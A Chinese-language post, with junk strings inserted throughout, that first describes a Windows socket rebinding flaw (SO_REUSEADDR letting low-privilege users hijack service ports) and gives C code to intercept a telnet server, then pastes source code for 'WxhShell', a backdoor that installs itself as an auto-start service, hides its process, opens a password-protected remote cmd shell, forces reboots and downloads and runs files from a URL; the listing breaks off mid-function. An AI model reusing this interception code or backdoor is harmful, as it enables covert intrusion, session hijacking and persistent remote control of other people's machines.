在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
mkfDDl2 GP s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
:I2, \B:k|Pw6~ saddr.sin_family = AF_INET;
O jNOvh&N ~d3@x\I? saddr.sin_addr.s_addr = htonl(INADDR_ANY);
eo@8?>}{X m`):= ^nC bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
.5AFAGv_c d`C$vj 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
NFP h}D o4OB xHKy 这意味着什么?意味着可以进行如下的攻击:
*]}F=dtR k @2mWNYHR*> 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
rA^=;?7Q
?6>*mdpl 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
4q:8<*W= J}+N\V~ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
G9V2(P }K`KoM 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
j8
`7)^ UbGnU_} 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
N-t"CBTO
N=7iQ@{1 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
]N;nq mq:WBSsV 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
US=K}B=g K:kb&W #include
p_%,JD #include
SAj#+_db #include
6k![v@2R #include
xB[W8gQ6fa DWORD WINAPI ClientThread(LPVOID lpParam);
5`$!s17 int main()
XA(.O|VZ {
(:o:_U WORD wVersionRequested;
PIXqd, DWORD ret;
"FhC"}N WSADATA wsaData;
k}I65 ^l# BOOL val;
H+-x.l` SOCKADDR_IN saddr;
GN
Ewq$ SOCKADDR_IN scaddr;
~7PiIky. int err;
isdNW l SOCKET s;
<RpTk*Yo^= SOCKET sc;
M X?UmQ' int caddsize;
M2R krW# HANDLE mt;
s;E(51V<> DWORD tid;
W}"tf
L8
wVersionRequested = MAKEWORD( 2, 2 );
Nd_A8H,&B err = WSAStartup( wVersionRequested, &wsaData );
eM5-v- if ( err != 0 ) {
r[T(R9k printf("error!WSAStartup failed!\n");
_Pa@%/ return -1;
\jV2":[%c }
k.2GIc:5 saddr.sin_family = AF_INET;
9;uH}j8sE u8<[Q]5 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
8~yP?#p UjLq[,_! saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
:Ny[?jtc saddr.sin_port = htons(23);
LFqY2,#i if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
K"|~D0Qgo {
!syyOfu`} printf("error!socket failed!\n");
fAz4>_4 return -1;
%Y0BPTt$ }
avM8-&h val = TRUE;
#H<}xC2 //SO_REUSEADDR选项就是可以实现端口重绑定的
L+T'TC: if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
:?LNP3} {
{Rb;1 eYj printf("error!setsockopt failed!\n");
)m+O.`x return -1;
zDEgC }
ZMr[:,Jp //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
EkRx/ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
LR!%iP //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
=S6bP<q 0UW_ Pbh6 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
Y:#B0FD,gC {
[u=yl0f ret=GetLastError();
gdoaXw;Sy printf("error!bind failed!\n");
3Nwix_&S return -1;
yB/F6/B~ }
s-(c-E09 listen(s,2);
_Ve)M% while(1)
D|<_96_m {
ZR%$f- caddsize = sizeof(scaddr);
;&f(7 Q+T_ //接受连接请求
-5]lHw} sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
%.wR@9? if(sc!=INVALID_SOCKET)
Q9h=1G\K {
Z__fwv.X[ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
| oM` if(mt==NULL)
k%\y,b* {
)F\kGe printf("Thread Creat Failed!\n");
fv+d3s?h break;
(CH6Q]Wi_! }
yi Xb<g+B }
aIQC[ry CloseHandle(mt);
+4Wl }
#H4<8B closesocket(s);
~Ym*QSD WSACleanup();
]bmf}& return 0;
0%;| B }
UWhHzLcXh DWORD WINAPI ClientThread(LPVOID lpParam)
!FyO5`v {
yS:w>xU @< SOCKET ss = (SOCKET)lpParam;
:w
Y%= SOCKET sc;
ahZ@4v unsigned char buf[4096];
py':36' SOCKADDR_IN saddr;
6vxRam6[?? long num;
]Ol
w6W?% DWORD val;
tJQZRZViu DWORD ret;
jk_yrbLc //如果是隐藏端口应用的话,可以在此处加一些判断
[`E_/95 //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
[McH l1a saddr.sin_family = AF_INET;
H^`J(J+ saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
])bgUH saddr.sin_port = htons(23);
hVT>HER if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
$FIJI^Kd7 {
\I/"W#\SJo printf("error!socket failed!\n");
=jpRv<X|, return -1;
N+5f.c+S- }
{R[ V val = 100;
RhT:] if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
K4E2W9h {
#lSGH 5Fp? ret = GetLastError();
>ifys)wg> return -1;
8'zfq
]g }
&U=_:]/ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
#nft{AN {
hCc%d$wVk ret = GetLastError();
x*tCm8`{ return -1;
._;It198f }
=w8 0y' if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
lA4J# {
38l:Y" printf("error!socket connect failed!\n");
xiQc\k$ closesocket(sc);
"?<`]WG\ closesocket(ss);
xO%yjG= return -1;
>b#CR/^z }
X}h}3+V while(1)
UUtSme {
.wWf#bB //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
8@rF~^-_ //如果是嗅探内容的话,可以再此处进行内容分析和记录
4DP<)KX //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
n}1hmAhZ num = recv(ss,buf,4096,0);
qh&KNJ>1 if(num>0)
9^ C6ZgNS send(sc,buf,num,0);
Ln+ k_ else if(num==0)
*!Gb_!98 break;
;[g~h |{6 num = recv(sc,buf,4096,0);
Eg&Q,dH[ if(num>0)
4\ )WMP send(ss,buf,num,0);
'u%_Ab_H else if(num==0)
iWUxB28 break;
e$Y7V }
=*6frC~ closesocket(ss);
tBwPB#:W closesocket(sc);
sT<h+[2d return 0 ;
|pU>^ }
j\Fbi3H ZD$I-33W BtJF1#f ==========================================================
~"wnlG-: [{T/2IGq 下边附上一个代码,,WXhSHELL
}095U(@ ov\%*z2= ==========================================================
h]|2b0 i1b3>H*3 #include "stdafx.h"
K7(GdKZe L+lye Ir' #include <stdio.h>
AGVipI # #include <string.h>
%)^0NQv
#include <windows.h>
1.
Q"<[ M #include <winsock2.h>
g&ba]?[A #include <winsvc.h>
^Ga_wJP8S #include <urlmon.h>
TC:t!: o@} qPvt0 #pragma comment (lib, "Ws2_32.lib")
HC>k/Gk" #pragma comment (lib, "urlmon.lib")
lfwBUb v"J|Ebx #define MAX_USER 100 // 最大客户端连接数
cj[%.M5iBA #define BUF_SOCK 200 // sock buffer
oK"#*n #define KEY_BUFF 255 // 输入 buffer
T0\[":
A #\z"k<{* #define REBOOT 0 // 重启
[E}pU8.t6 #define SHUTDOWN 1 // 关机
*s2 C+@ef 1'k,P;s #define DEF_PORT 5000 // 监听端口
=)Goip ZQ_~
L!ot #define REG_LEN 16 // 注册表键长度
dGR #l) #define SVC_LEN 80 // NT服务名长度
IY(;:#l (51;cj>J // 从dll定义API
g^\>hjNX typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
3+M+5 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
XR#?gx .} typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
>Y:veEa6v6 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
(1Jc-` :{Iv
]d // wxhshell配置信息
U/rFH9e$ struct WSCFG {
o 7 &q int ws_port; // 监听端口
f_QZql char ws_passstr[REG_LEN]; // 口令
f{]W*!VV- int ws_autoins; // 安装标记, 1=yes 0=no
GMob&0l8_ char ws_regname[REG_LEN]; // 注册表键名
)f%Q7 char ws_svcname[REG_LEN]; // 服务名
l~*d0E-$ char ws_svcdisp[SVC_LEN]; // 服务显示名
Y3'dV) char ws_svcdesc[SVC_LEN]; // 服务描述信息
oYeFOw` char ws_passmsg[SVC_LEN]; // 密码输入提示信息
2-"`%rE int ws_downexe; // 下载执行标记, 1=yes 0=no
MPsm)jqX char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
jSvo- char ws_filenam[SVC_LEN]; // 下载后保存的文件名
H.2aoZ-w m W4tW };
7bkh")^ L7.LFWq$S // default Wxhshell configuration
SR9M:%dga struct WSCFG wscfg={DEF_PORT,
P?iQ{x}w~ "xuhuanlingzhe",
(i^<er q 1,
k,[[
CZ0j "Wxhshell",
FWyfFCK "Wxhshell",
#~qY%X "WxhShell Service",
9z?B@;lMc "Wrsky Windows CmdShell Service",
FzFP 0 "Please Input Your Password: ",
FOX0 1,
gAy"W$F "
http://www.wrsky.com/wxhshell.exe",
uF-Rl##
> "Wxhshell.exe"
UTuOean ]' };
62/tg*) )7N$lY< // 消息定义模块
B]cV|S| char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
]-u>HO g\ char *msg_ws_prompt="\n\r? for help\n\r#>";
]i'gU(+;` char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
I%ZSh]On char *msg_ws_ext="\n\rExit.";
M 0RVEhX char *msg_ws_end="\n\rQuit.";
B+=Xb;p8 char *msg_ws_boot="\n\rReboot...";
\YF'qWB char *msg_ws_poff="\n\rShutdown...";
fu`|@S char *msg_ws_down="\n\rSave to ";
brt`oR Cqw`K P char *msg_ws_err="\n\rErr!";
J`A )WsKkb char *msg_ws_ok="\n\rOK!";
eP|hxqM&9 ;8<lgZ9H< char ExeFile[MAX_PATH];
Kdd5ysTQ int nUser = 0;
5%XEybc2 HANDLE handles[MAX_USER];
]4-t*Em int OsIsNt;
CLY>M`%?+p ]=0$-ImQ@x SERVICE_STATUS serviceStatus;
NE!] SERVICE_STATUS_HANDLE hServiceStatusHandle;
uB3Yl=P n'Z5rXg // 函数声明
N< 7 int Install(void);
::G0v int Uninstall(void);
7
[?]DyOf int DownloadFile(char *sURL, SOCKET wsh);
=:v5`
: int Boot(int flag);
gS^Y? void HideProc(void);
Y>'t)PK int GetOsVer(void);
iJ~e8l0CA int Wxhshell(SOCKET wsl);
=doOt 7Rj void TalkWithClient(void *cs);
j2,w1f}T int CmdShell(SOCKET sock);
.&c!k1kH int StartFromService(void);
*[wj ) int StartWxhshell(LPSTR lpCmdLine);
e!O:z n%:&N VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
;"DI)hdz VOID WINAPI NTServiceHandler( DWORD fdwControl );
Yu9.0A_) : "Bbd[ZI8 // 数据结构和表定义
wg 6 SERVICE_TABLE_ENTRY DispatchTable[] =
_,]@xFCOH {
3!KEk?I] {wscfg.ws_svcname, NTServiceMain},
^>!~%Vv7! {NULL, NULL}
,zH\&D$>u };
3gU*,K7 R//S(eU68\ // 自我安装
/c-%+Xd int Install(void)
8AVG pL {
:l?/]K char svExeFile[MAX_PATH];
5Lm<3:7Q+ HKEY key;
3r,^is strcpy(svExeFile,ExeFile);
@
Yzj \I`g[nT| // 如果是win9x系统,修改注册表设为自启动
e't1.%w if(!OsIsNt) {
.2:S0=xt< if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
Z?tw#n[T RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
XYsU)(;j RegCloseKey(key);
]h_V5rdX@ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
]u@`XVEJ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
pj9s=}1 ' RegCloseKey(key);
[i)G:8U return 0;
9jTm g% }
5!^DKyw: }
*f( e`3E }
}=JuC+#~n else {
-axV;+"b ?513A>U // 如果是NT以上系统,安装为系统服务
Cu+u'&U! SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
M-+=t8 if (schSCManager!=0)
nfzKUJY {
DANndXQLH SC_HANDLE schService = CreateService
07tSXl5! (
{oc7Chv=/H schSCManager,
23=SXA! wscfg.ws_svcname,
nvnJVkL9s wscfg.ws_svcdisp,
?e+$?8l[3 SERVICE_ALL_ACCESS,
\Z ms SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
#mcU);s SERVICE_AUTO_START,
Kf-rthO SERVICE_ERROR_NORMAL,
maTZNzy svExeFile,
TdH~sz NULL,
gdfG3d$4 NULL,
*Me{G y NULL,
bv8GJ # NULL,
T hLR<\ NULL
!`F^LXGA );
f'3sT(1& if (schService!=0)
Kw^tvRt'* {
f.y~ Sew CloseServiceHandle(schService);
j>t*k!db CloseServiceHandle(schSCManager);
-S %)2(f^ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
*<nfA} strcat(svExeFile,wscfg.ws_svcname);
|;6l1]hk6 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
K~JXP5`( RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
MW6KEiQ" RegCloseKey(key);
@:"GgkyDl# return 0;
koAM",5D }
jIs2R3B }
#[{xEVf CloseServiceHandle(schSCManager);
mjz<,s`D }
'+{dr\nJ }
%!e;sL~& PC}m.tE return 1;
SQd`xbIuL }
iNAaTU z7P]g
C$\ // 自我卸载
=q-HR+ int Uninstall(void)
Rr>h8Ni < {
h8lI#Gs HKEY key;
pe1 _E
KU B 8ycr~ if(!OsIsNt) {
~NtAr1 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
qxe%RYdA'j RegDeleteValue(key,wscfg.ws_regname);
qW6}^aa RegCloseKey(key);
SMdkD]{g if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
hMiuv_EO! RegDeleteValue(key,wscfg.ws_regname);
b_JW3l RegCloseKey(key);
U\Hd?&`9gz return 0;
)c$)am\I{ }
>av.pJ(> }
';z5]O~ }
-'OO6mU else {
H^no&$2`1 GxIw4m9 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
9k@`{+wmZ if (schSCManager!=0)
?w[M{ {
YQ+Kl[ec SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
`b{.K, if (schService!=0)
$q6'VLPo {
=':,oz^| if(DeleteService(schService)!=0) {
}@V,v[&e CloseServiceHandle(schService);
dn1Tu6f;| CloseServiceHandle(schSCManager);
U0M>A return 0;
HjFY>(e }
Hf'yRKACj CloseServiceHandle(schService);
@Sl!p) }
j>0~"A CloseServiceHandle(schSCManager);
9#;UQ.qA }
igW>C2J }
rpNe8"sh *G{Zo*2<
i return 1;
Y%V|M0 0` }
d">Ya !W 9$xEktfV // 从指定url下载文件
Y{8L ~U: int DownloadFile(char *sURL, SOCKET wsh)
^8V cm* {
!I? J^0T HRESULT hr;
FDAREE\j char seps[]= "/";
Qp?n0WXZ char *token;
^gdg0y!5~ char *file;
B43o_H|s char myURL[MAX_PATH];
r]=3aebR. char myFILE[MAX_PATH];
j{nkus2 kPVP+}cA strcpy(myURL,sURL);
.F~EQ % token=strtok(myURL,seps);
cg,_nG]i while(token!=NULL)
GZN@MK*co {
S"=oU}'| file=token;
eXU;UO^ token=strtok(NULL,seps);
DT=! }
e< Ee2pGX Z6cG<,DQ GetCurrentDirectory(MAX_PATH,myFILE);
w^*jhvV%kW strcat(myFILE, "\\");
'7F`qL\/#( strcat(myFILE, file);
fuH Dif, send(wsh,myFILE,strlen(myFILE),0);
X
|f'e@ send(wsh,"...",3,0);
.~5cNu'#m hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
K6,5C0 if(hr==S_OK)
b'N"?W^YQ return 0;
NRKAEf_#w else
uREc9z`Q' return 1;
~P5!VNJ;r Ej1 [ry }
VmTk4?V4 |jV4]7Luq // 系统电源模块
+{/zP{jH int Boot(int flag)
r,6~?hG] {
EMH?z2iGd HANDLE hToken;
`.dTkL TOKEN_PRIVILEGES tkp;
^}8_tZs8\ f (
`.q if(OsIsNt) {
)^!-Aj\x OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
U[S;5xeF.j LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
<,0&Ox tkp.PrivilegeCount = 1;
tS2lex% tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
eT+MN` AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
5b B[o6+ if(flag==REBOOT) {
-o#0Yt}3 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
B`hxF(_p/ return 0;
LFSOHJj }
su=.4JcK else {
9GZF39w u if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
d1j v>tu return 0;
LM _4.J }
&V( LeSI }
wH#k~`M else {
N13 <!QQ if(flag==REBOOT) {
CWkm\= if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
No[xf9>t return 0;
&F#X0h/m= }
bi^LpyEn else {
i6m;2 UAa if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
U(./LrM05 return 0;
t9pPG {1 }
nbpN+a% }
7<.f&1MgI =GR
Em5 return 1;
'~ ]b;nA }
ij hMJ?3 *8XGo // win9x进程隐藏模块
&P ;6P4x void HideProc(void)
ur#"f'|- {
0l_-
`bC_J,>_ HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
u gfV' if ( hKernel != NULL )
!#iP)"O {
hGus!p"lw pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
T
|j^ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
<E\BKC%M FreeLibrary(hKernel);
sZ4H\ }
tOko %vY8 <1jiU%!w return;
%n}]$
d }
M(3E
b;` 6
*8G e // 获取操作系统版本
56':U29.] int GetOsVer(void)
Nq~bO_-I {
kD;BwU[ OSVERSIONINFO winfo;
]c5GG!E-g winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
orU4{.e GetVersionEx(&winfo);
1g/mzC if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
x@k9]6/zs return 1;
b`:Eo+p else
L7xTAFe return 0;
x`eYC i }
o`sn/x d7G'+B 1 // 客户端句柄模块
cL
WM]\Y int Wxhshell(SOCKET wsl)
9Pb0Olh {
vOP[ND=T SOCKET wsh;
*@Qt*f struct sockaddr_in client;
v^E5'M[A DWORD myID;
oL6_Ya pI^n("| while(nUser<MAX_USER)
WD)[Ac[ {
Ql V:8:H$ int nSize=sizeof(client);
]CL70+[^9 wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
L]tyL) if(wsh==INVALID_SOCKET) return 1;
6a,YxR\ P2Eyqd8 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
k<f*ns if(handles[nUser]==0)
FP\[7?ZLn closesocket(wsh);
?QMs< else
A=3U4L nUser++;
@LmUCP~ }
QTyl=z7 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
$ `ho+ -J6}7>4^8} return 0;
g+CHF?O }
rj5:YQEH; -FPl",f=r // 关闭 socket
+<|w|c void CloseIt(SOCKET wsh)
B=p'2lla {
><DE1tG closesocket(wsh);
a[JgR /E@x nUser--;
P~*fZ)\}F@ ExitThread(0);
6Rt pB\hq }
'\;tmD"N5# 9(I4x]` // 客户端请求句柄
[gE2lfaEy void TalkWithClient(void *cs)
oy
|@m|J {
~lL($rE P6?Q;-\q0 SOCKET wsh=(SOCKET)cs;
w7W-=\Hvh char pwd[SVC_LEN];
#nd,c n char cmd[KEY_BUFF];
_8`|KY char chr[1];
X3>(K1 int i,j;
bC{~/ JP ?:2Xh/8- while (nUser < MAX_USER) {
uJ$"2<O SW=p5@Hy{ if(wscfg.ws_passstr) {
{%$=^XO if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
mU_O64 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
8L@di Y //ZeroMemory(pwd,KEY_BUFF);
xphqgOc12, i=0;
qnlj~]NV while(i<SVC_LEN) {
npF[J x[ f0uiNy(r$ // 设置超时
{J]|mxo fd_set FdRead;
8,=$>@u struct timeval TimeOut;
(*1A0+S90 FD_ZERO(&FdRead);
cZ(XY} FD_SET(wsh,&FdRead);
KXGs'D TimeOut.tv_sec=8;
c2U>89LlZ TimeOut.tv_usec=0;
ZAP+jX; int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
1Li@O[%X< if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
v$c D!`+k A4^+p0@ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
Q9' p2@Z pwd
=chr[0]; AjS5
if(chr[0]==0xd || chr[0]==0xa) { oMVwIdf
pwd=0; j{PX ~/
break; 7MfT~v
} Y `{U45
i++; q}!4b'z^
} c' 6H@m#=
7-dwr?j7
// 如果是非法用户,关闭 socket BAhC-;B#R
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); M Q6Y^,B
} ,y >Na{@Y
@K/Ia!Lw
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); @.{
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); A_.QHUjpx
|);>wV"
while(1) { xEBjfn
Q^k#?j#
ZeroMemory(cmd,KEY_BUFF); (gZ!o_
!2Orklzd1
// 自动支持客户端 telnet标准 1mX*0>
j=0; 1 W0; YcT]
while(j<KEY_BUFF) { 0D'Wr(U(
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); TU/J]'))C
cmd[j]=chr[0]; aPC!M4#
if(chr[0]==0xa || chr[0]==0xd) { ~g{,W
cmd[j]=0; )=D&NO67Pq
break; b>i=",i\
} -:,h8JyMP
j++; r>Ln*R,9D
} gY9"!IVe+
l;.BlHyu
// 下载文件 /K^cU;E,
if(strstr(cmd,"http://")) { (Y>MsqwWfC
send(wsh,msg_ws_down,strlen(msg_ws_down),0); xR:h^S^W ~
if(DownloadFile(cmd,wsh)) ZwMw g t
send(wsh,msg_ws_err,strlen(msg_ws_err),0); <-F"&LI{<
else pV7Gh`<y
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); wGvgMZ ]?'
} QP#Wfk(C
else { #-;BU{3*
G
DV-wPX
switch(cmd[0]) { L9T u>4
:m d3@r']
// 帮助 Pio^5jhB6
case '?': { z+*Z<c5d
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); &f*d FUM]I
break; {#,FlR2
} ju#63
// 安装 RVfe}4Stm#
case 'i': { `y`xk<q
if(Install()) L?0l1P
send(wsh,msg_ws_err,strlen(msg_ws_err),0); F(<8:`N;G
else />C~a]}
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +!vRU`
break; ^aXBt
} ZhsZywM
// 卸载 "b
0cj
case 'r': { vrzX%'
if(Uninstall())
`xUPML-
send(wsh,msg_ws_err,strlen(msg_ws_err),0); -Q6pV<i
else %'e(3;YI
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); rHlF& ET
break; IMza
2
} GcR`{ 3hO
// 显示 wxhshell 所在路径 (5~C
_Y
case 'p': { B$l`9!,
char svExeFile[MAX_PATH]; A ? M]5d
strcpy(svExeFile,"\n\r"); tWnm{mF
strcat(svExeFile,ExeFile); ~8*oGG~s
send(wsh,svExeFile,strlen(svExeFile),0); YJ$ewK4E#.
break; B5:g{,C
} c~xo@[NaS
// 重启 !9,
pX
case 'b': { $VWzv4^:
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 0>iFXw:fn
if(Boot(REBOOT)) 3J
T3;O
send(wsh,msg_ws_err,strlen(msg_ws_err),0); U[b;#Y1X
else { _m],(J=,z
closesocket(wsh); )\-";?sYky
ExitThread(0); (L$~zw5gr
} \w^QHX1+
break; FRFAWK<
} au|^V^m
// 关机 9Yyg}l:
case 'd': { Nb~dw;t
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); zXZ'nJ5OGG
if(Boot(SHUTDOWN)) [+g@@\X4
send(wsh,msg_ws_err,strlen(msg_ws_err),0); wkD:i 2E7
else { A[kH_{to;
closesocket(wsh); xXZKj
ExitThread(0); pFTlhj)1
} n=? 0g;1!
break; P]"deB|
} P/Kit?kngS
// 获取shell 5L}>+js2
case 's': { 5lnSa+_/f
CmdShell(wsh); ulf/C%t,R
closesocket(wsh); <zuE=0P~%
ExitThread(0); ex\W]5
break; H@E ")@92
} _}OJPahw
// 退出 ]M;6o@hq
case 'x': { q9Sz7_K
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); -Zg @D(pF
CloseIt(wsh); Reu{
break; *Ca)RgM
} JA(fam~{
// 离开 lt6;*z[
case 'q': { UZP6x2:=
send(wsh,msg_ws_end,strlen(msg_ws_end),0); _i[)$EgFm
closesocket(wsh); 2BDan^:-Av
WSACleanup(); DBJA}Cw
exit(1); lVdT^"~3
break; M~Qj'VVL
} |90
+)/$4
} Xexe{h4t_>
} Pzp+I}
pXh~#o6V
// 提示信息 K\+}q{
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .^lbLN^2
} oNB,.:
} ?[VpN2*
8i;)|z7
return; yW^IN8fm
} {R-82% X
vX0"S
// shell模块句柄 yv)nW::D(
int CmdShell(SOCKET sock) ^mueFw}\
{ ;Q=GJ5`B
STARTUPINFO si; {Mr~%y4
ZeroMemory(&si,sizeof(si)); ^2^|AXNES
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 5!F\h'E
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; +Y)#yGUn
PROCESS_INFORMATION ProcessInfo; i*CQor6|z
char cmdline[]="cmd"; Tz[?gF.Do
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); kAN;S<jSE
return 0; eR-=<0Iw;
} wD],{ y
nS+FX&_
// 自身启动模式 *Z`XG_ s5
int StartFromService(void) eKVALUw
{ w,Zx5bBg%
typedef struct 0<@KDlF
{ dA1
C)gLi
DWORD ExitStatus; dHG Io
DWORD PebBaseAddress; 8b:clvh
DWORD AffinityMask; &.Latx
DWORD BasePriority; Ji6`-~ k
